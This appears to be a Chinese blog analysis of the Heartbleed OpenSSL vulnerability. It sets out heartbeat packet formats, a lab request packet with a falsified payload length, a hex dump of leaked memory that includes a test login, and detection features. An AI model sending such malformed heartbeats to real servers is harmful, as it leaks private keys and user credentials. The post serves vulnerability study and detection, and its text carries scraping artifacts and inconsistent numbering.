Heartbleed心脏出血漏洞原理分析
1.?概述
???OpenSSL在實(shí)現(xiàn)TLS和DTLS的心跳處理邏輯時(shí),存在編碼缺陷。OpenSSL的心跳處理邏輯沒(méi)有檢測(cè)心跳包中的長(zhǎng)度字段是否和后續(xù)的數(shù)據(jù)字段相符合,攻擊者可以利用這一點(diǎn),構(gòu)造異常的數(shù)據(jù)包,來(lái)獲取心跳數(shù)據(jù)所在的內(nèi)存區(qū)域的后續(xù)數(shù)據(jù)。這些數(shù)據(jù)中可能包含了證書(shū)私鑰,用戶名,用戶密碼,用戶郵箱等敏感信息。該漏洞允許攻擊者從內(nèi)存中讀取多達(dá)64KB的數(shù)據(jù)。
2.?數(shù)據(jù)包分析
???SSL(Secure Socket Layer 安全套接層)及其繼任者傳輸層安全(Transport Layer Security,TLS)是為網(wǎng)絡(luò)通信提供安全及數(shù)據(jù)完整性的一種安全協(xié)議。TLS和SSL在傳輸層對(duì)網(wǎng)絡(luò)連接進(jìn)行加密。所以通過(guò)SSL或TLS協(xié)議加密后的數(shù)據(jù)包再通過(guò)wireshark軟件進(jìn)行對(duì)數(shù)據(jù)包的抓取時(shí),抓取到的數(shù)據(jù)也是經(jīng)過(guò)加密處理的數(shù)據(jù)。
???DTLS(Datagram Transport Layer Security)數(shù)據(jù)包傳輸層安全協(xié)議。TLS不能用來(lái)保證UDP上傳輸?shù)臄?shù)據(jù)的安全,因此Datagram TLS試圖在現(xiàn)存的TLS協(xié)議架構(gòu)上提出擴(kuò)展,使之支持UDP,即成為T(mén)LS的一個(gè)支持?jǐn)?shù)據(jù)報(bào)傳輸?shù)陌姹?。DTLS1.0基于TLS1.1,DTLS1.2基于TLS1.2
???心臟出血漏洞主要通過(guò)攻擊者模擬向服務(wù)器端發(fā)送自己編寫(xiě)的Heartbeat心跳數(shù)據(jù)包,主要是HeartbeatMessage的長(zhǎng)度與payload的length進(jìn)行匹配,若payload_lenght長(zhǎng)度大于HeartbeatMes sage的length,則會(huì)在服務(wù)器返回的response響應(yīng)包中產(chǎn)生數(shù)據(jù)溢出,造成有用數(shù)據(jù)泄露。
TLS數(shù)據(jù)包格式
| ContentType | 1byte | 心跳包類型,IANA組織把type編號(hào)定義為24(0x18) |
| ProtocolVersion | 2bytes | TLS的版本號(hào),目前主要包括含有心跳擴(kuò)展的TLS版本:TLSv1.0,TLSv1.1,TLSv1.2 |
| length | 2bytes | HeartbeatMessage的長(zhǎng)度 |
| HeartbeatMessageType | 1byte | Heartbeat類型 01表示heartbeat_request 02表示heartbeat_response |
| payload_length | 2bytes | payload長(zhǎng)度 |
| payload | payload_length個(gè)bytes | payload的具體內(nèi)容 |
| padding | >=16bytes | padding填充,最少為16個(gè)字節(jié) |
DTLS數(shù)據(jù)包格式
| ContentType | 1byte | 心跳包類型,IANA組織把type編號(hào)定義為24(0x18) |
| ProtocolVersion | 2bytes | DTLS的版本號(hào),DTLS1.0基于TLS1.1,DTLS1.2基于TLS1.2 |
| epoch | 2bytes | 為一個(gè)計(jì)數(shù)器,每一個(gè)加密狀態(tài)改變時(shí)加一。主要用來(lái)區(qū)分在一個(gè)多次重新協(xié)商的情況,多個(gè)記錄包文可能會(huì)具有相同的序列號(hào),因此再用這個(gè)域來(lái)區(qū)分,接收者可以用來(lái)區(qū)分不同的包。epoch初始值為0,每發(fā)送一個(gè)changeCipherSpec消息后加一 |
| sequence_number | 6bytes | 記錄層的序列號(hào),在每一個(gè)ChangeCipherSpec消息發(fā)送之后,sequence_number都設(shè)置為0 |
| length | 2bytes | HeartbeatMessage的長(zhǎng)度 |
| HeartbeatMessageType | 1byte | Heartbeat類型 01表示heartbeat_request 02表示heartbeat_response |
| payload_length | 2bytes | payload長(zhǎng)度 |
| payload | payload_length個(gè)bytes | payload的具體內(nèi)容 |
| padding | >=16bytes | padding填充,最少為16個(gè)字節(jié) |
2.1?探測(cè)數(shù)據(jù)包
???心臟出血漏洞必須在含有心跳擴(kuò)展和漏洞沒(méi)有被修復(fù)的版本中存在,目前存在OpenSSL心血漏洞的OpenSSL版本有OpenSSL1.0.1,1.0.1a,1.0.1b,1.0.1c,1.0.1d,1.0.1e,1.0.1f,Beta 1 of OpenSSL1.0.2等。具體流程如下:
- 搭建含有OpenSSL心臟出血漏洞靶機(jī)環(huán)境(具體靶機(jī)搭建操作詳情請(qǐng)看文檔:heartbleed靶機(jī)環(huán)境搭建)
- 搭建擁有數(shù)據(jù)交互的https網(wǎng)站(Apache+MySQL+PHP5+HTTPS)
- 心臟出血漏洞主要存在于OpenSSL的心跳機(jī)制里,判斷OpenSSL有沒(méi)有開(kāi)啟心跳擴(kuò)展,并開(kāi)啟心跳擴(kuò)展機(jī)制。
- 在客戶端對(duì)虛擬機(jī)中搭建的靶場(chǎng)頁(yè)面進(jìn)行訪問(wèn),同時(shí)在客戶端中通過(guò)POC程序?qū)Π袌?chǎng)進(jìn)行攻擊
- 通過(guò)wireshark對(duì)攻擊的請(qǐng)求包和響應(yīng)包進(jìn)行捕獲
4.1.1 請(qǐng)求包
TLS數(shù)據(jù)包(Hex)
18 03 02 00 03 01 40 00
分析
由于SSL記錄協(xié)議位于某個(gè)可靠的傳輸協(xié)議(例如TCP)上面由于數(shù)據(jù)通過(guò)SSL加密處理后顯示亂碼,我們通過(guò)wireshark抓取的數(shù)據(jù)包主要通過(guò)16進(jìn)制顯示,所以像heartbeat_Request的數(shù)據(jù)包主要分為四部分:(1)數(shù)據(jù)包幀頭部分(在數(shù)據(jù)包中占14個(gè)字節(jié))
(2)IPv4網(wǎng)絡(luò)層部分(數(shù)據(jù)包中占20字節(jié))
(3)TCP傳輸層部分(數(shù)據(jù)包中占20字節(jié))
圖片中方框標(biāo)注的部分即為通過(guò)SSL加密的心跳數(shù)據(jù)包部分:
Content Type:Heartbeat 24(0x18)
Version:TLS1.1(0x0302)
Length:3(0x0003)
HeartbeatMessage:
Type:Request(0x01)
payload Length:16384(0x4000)
payload
padding and HMAC
payload和padding都為空,利用漏洞將后面內(nèi)存中的數(shù)據(jù)dump下來(lái)
2.1.2 響應(yīng)包
TLS數(shù)據(jù)包(Hex)
18 03 02 40 00 02 40 00 d8 03 02 53 43 5b 90 9d …@..@….SC[..
9b 72 0b bc 0c bc 2b 92 a8 48 97 cf bd 39 04 cc .r….+..H…9..
16 0a 85 03 90 9f 77 04 33 d4 de 00 00 66 c0 14 ……w.3….f..
c0 0a c0 22 c0 21 00 39 00 38 00 88 00 87 c0 0f …”.!.9.8……
c0 05 00 35 00 84 c0 12 c0 08 c0 1c c0 1b 00 16 …5…………
00 13 c0 0d c0 03 00 0a c0 13 c0 09 c0 1f c0 1e …………….
00 33 00 32 00 9a 00 99 00 45 00 44 c0 0e c0 04 .3.2…..E.D….
00 2f 00 96 00 41 c0 11 c0 07 c0 0c c0 02 00 05 ./…A……….
00 04 00 15 00 12 00 09 00 14 00 11 00 08 00 06 …………….
00 03 00 ff 01 00 00 49 00 0b 00 04 03 00 01 02 …….I……..
00 0a 00 34 00 32 00 0e 00 0d 00 19 00 0b 00 0c …4.2……….
00 18 00 09 00 0a 00 16 00 17 00 08 00 06 00 07 …………….
00 14 00 15 00 04 00 05 00 12 00 13 00 01 00 02 …………….
00 03 00 0f 00 10 00 11 00 23 00 00 00 0f 00 01 ………#……
01 6b 87 3c 2a f7 db 30 ef 5c d2 68 0f 8b c6 10 .k.<*..0..h….
37 2e 33 36 0d 0a 41 63 63 65 70 74 3a 20 74 65 7.36..Accept: te
78 74 2f 68 74 6d 6c 2c 61 70 70 6c 69 63 61 74 xt/html,applicat
69 6f 6e 2f 78 68 74 6d 6c 2b 78 6d 6c 2c 61 70 ion/xhtml+xml,ap
70 6c 69 63 61 74 69 6f 6e 2f 78 6d 6c 3b 71 3d plication/xml;q=
30 2e 39 2c 69 6d 61 67 65 2f 77 65 62 70 2c 2a 0.9,image/webp,*
2f 2a 3b 71 3d 30 2e 38 0d 0a 52 65 66 65 72 65 /*;q=0.8..Refere
72 3a 20 68 74 74 70 73 3a 2f 2f 31 39 32 2e 31 r: https://192.1
36 38 2e 31 39 37 2e 31 32 38 2f 63 68 65 63 6b 68.197.128/check
2e 70 68 70 3f 6e 61 6d 65 3d 79 61 6f 66 65 69 .php?name=yaofei
26 70 61 73 73 77 6f 72 64 3d 31 32 33 34 35 36 &password=123456
0d 0a 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e ..Accept-Encodin
67 3a 20 67 7a 69 70 2c 20 64 65 66 6c 61 74 65 g: gzip, deflate
2c 20 73 64 63 68 2c 20 62 72 0d 0a 41 63 63 65 , sdch, br..Acce
70 74 2d 4c 61 6e 67 75 61 67 65 3a 20 7a 68 2d pt-Language: zh-
43 4e 2c 7a 68 3b 71 3d 30 2e 38 0d 0a 0d 0a 9d CN,zh;q=0.8…..
47 d4 f2 b4 2e dc 63 f7 4c 28 bb 43 71 41 ca 00 G…..c.L(.CqA..
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 …………….
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 …………….
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 …………….
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 …………….
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 …………….
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 …………….
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 …………….
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 …………….
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 …………….
分析
(上圖中為通過(guò)wireshark抓取的heartbeat_Response數(shù)據(jù)包的模塊化展示,同樣數(shù)據(jù)包分為幀頭部分,IPv4網(wǎng)絡(luò)層部分,TCP傳輸層部分以及SSL返回的數(shù)據(jù)部分)
圖下數(shù)據(jù)為返回的心跳數(shù)據(jù)包詳情展示,由于數(shù)據(jù)長(zhǎng)度為16384個(gè)字節(jié)太長(zhǎng)不好顯示這邊只截取一部分?jǐn)?shù)據(jù)進(jìn)行展示
18 03 02 40 00 02 40 00為響應(yīng)包數(shù)據(jù)特征:
0x18表示SSL數(shù)據(jù)包類型為心跳包
0x0302表示TLS的版本號(hào):Version(TLSv1.1)
0x4000表示返回的數(shù)據(jù)包長(zhǎng)度(16384)
0x02表示返回的心跳消息類型(Response)
0x4000表示返回的payload_length(16384)
剩余的數(shù)據(jù)即為通過(guò)心臟出血漏洞從內(nèi)存中dump下來(lái)的數(shù)據(jù)(payload和padding)
由于請(qǐng)求包(Request)中的長(zhǎng)度為0x0003(3)但是要返回的payload_length為0x4000(16384),所以響應(yīng)包(Response)返回的數(shù)據(jù)長(zhǎng)度為0x4000(16384)即漏洞攻擊成功。
3.?特征總結(jié)
???OpenSSL心臟出血漏洞(heartbleed)的產(chǎn)生主要由于OpenSSL的心跳處理邏輯沒(méi)有檢測(cè)心跳包中的長(zhǎng)度字段是否和后續(xù)字段相吻合導(dǎo)致攻擊者構(gòu)造異常數(shù)據(jù)包,來(lái)直接獲取心跳數(shù)據(jù)所在的內(nèi)存區(qū)域的后續(xù)數(shù)據(jù)。主要特征有:
- heartbleed漏洞主要存在于有心跳機(jī)制的OpenSSL協(xié)議中。
- IANA組織把開(kāi)啟心跳擴(kuò)展機(jī)制的SSL數(shù)據(jù)包type類型定義為24(0x18)。
- heartbleed漏洞主要存在于TLS和DTLS兩種協(xié)議中,在含有heartbleed漏洞的OpenSSL協(xié)議中需要開(kāi)啟心跳擴(kuò)展機(jī)制(beartbeat),而含有心跳擴(kuò)展機(jī)制的TLS版本主要包含在TLSv1.0(0x0301),TLSv1.1(0x0302),TLSv1.2(0x0303)三種版本中。
- heartbleed漏洞攻擊主要由于攻擊者構(gòu)造異常的心跳數(shù)據(jù)包,即心跳包中的長(zhǎng)度字段與后續(xù)的數(shù)據(jù)字段不相符合,來(lái)獲取心跳數(shù)據(jù)所在的內(nèi)存區(qū)域的后續(xù)數(shù)據(jù)。
???綜上所述我們可以通過(guò)對(duì)線網(wǎng)中的數(shù)據(jù)首先進(jìn)行判斷是否為含有OpenSSL的數(shù)據(jù)包,同時(shí)通過(guò)對(duì)數(shù)據(jù)包中的type類型判斷數(shù)據(jù)包是否為心跳數(shù)據(jù)包,然后對(duì)TLS的版本進(jìn)行匹配找到相應(yīng)的含有心跳擴(kuò)展機(jī)制的心跳數(shù)據(jù)包,最后通過(guò)對(duì)心跳包中的數(shù)據(jù)實(shí)際長(zhǎng)度與長(zhǎng)度字段定義的值比較,如果實(shí)際長(zhǎng)度小于定義的長(zhǎng)度則該數(shù)據(jù)包即為含有heartbleed漏洞的數(shù)據(jù)包。
4.?含有SSL加密的協(xié)議
| SMTPS | 465 | (SMTP-over-SSL)協(xié)議發(fā)送郵件協(xié)議 |
| HTTPS | 443 | 安全套接字層超文本傳輸協(xié)議 |
| NNTPS | 563 | 通過(guò)安全套接字層的網(wǎng)絡(luò)新聞傳輸協(xié)議 |
| LDAPS | 636 | 通過(guò)安全套接字層的輕型目錄訪問(wèn)協(xié)議 |
| ftps | 990 | 通過(guò)ssl加密的ftp協(xié)議 |
| IMAPS | 993 | 郵件接收協(xié)議 |
| POP3S | 995 | 郵件接收協(xié)議 |
5.?參考資料
???Openssl “心血” 漏洞分析.
???Ubuntu下Apache https安裝和配置.
???Openssl漏洞POC學(xué)習(xí).
總結(jié)
以上是生活随笔為你收集整理的Heartbleed心脏出血漏洞原理分析的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。
- 上一篇: 艺赛旗(RPA)RPA8.0 解决滑动验
- 下一篇: 2019-2020-1 1823《程序设